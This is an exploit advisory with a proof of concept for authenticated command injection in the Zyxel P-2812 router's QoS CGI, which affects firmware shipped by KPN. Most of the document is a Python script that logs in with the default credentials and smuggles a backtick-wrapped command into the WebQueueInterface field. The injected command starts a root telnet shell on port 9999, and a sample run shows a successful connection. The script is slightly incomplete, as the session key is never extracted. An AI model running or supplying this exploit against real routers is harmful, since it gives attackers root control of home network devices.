The Zyxel P-2812 is common in the Netherlands (KPN/Telfort) and Norway
(Telenor). The Dutch firmware is susceptible to authenticated command
injection
through `qos_queue_add.cgi` and the `WebQueueInterface` parameter.

Affected firmware versions
==========================
V3.11TUE3 (KPN)
V3.11TUE8 (KPN)

Not affected
============
BLN.18 and up (Telenor)

USER = 'user'
PASS = '1234'
URL = 'http://192.168.1.254/'
CMD = '/sbin/telnetd -l/bin/sh -p9999 &'

s = requests.Session()
s.post(URL + 'login.cgi', data=dict(
    UserName=USER, 
    password=PASS,
    hiddenPassword=PASS,
    submitValue='1'))
r = s.get(URL + 'fileuser_mod.cgi')

assert len(sessionkey) > 24, sessionkey

r = s.post(URL + 'qos_queue_add.cgi', data=dict(
        Submit='Apply',
        QueueObjectIndex='15',
        QueueNameTxt='test',
        WebQueueInterface='WAN`%s`' % CMD,
        WebQueuePriority='1',
        WebQueueWeight='1',
        sessionKey=sessionkey,
    ))

if "window.parent.document.activePage('network-qos',1)" in r.text:
    print("Success, root shell at port 9999")
else:
    print("Did not work, see output:\n" + r.text)

Working?

$ ./open-sesame.py
Success!
$ telnet 192.168.1.1 9999
Trying 192.168.1.1...
Connected to 192.168.1.1.

Observations
============
Security fixes for branded Zyxel firmware are not necessarily implemented
by all OEM clients.
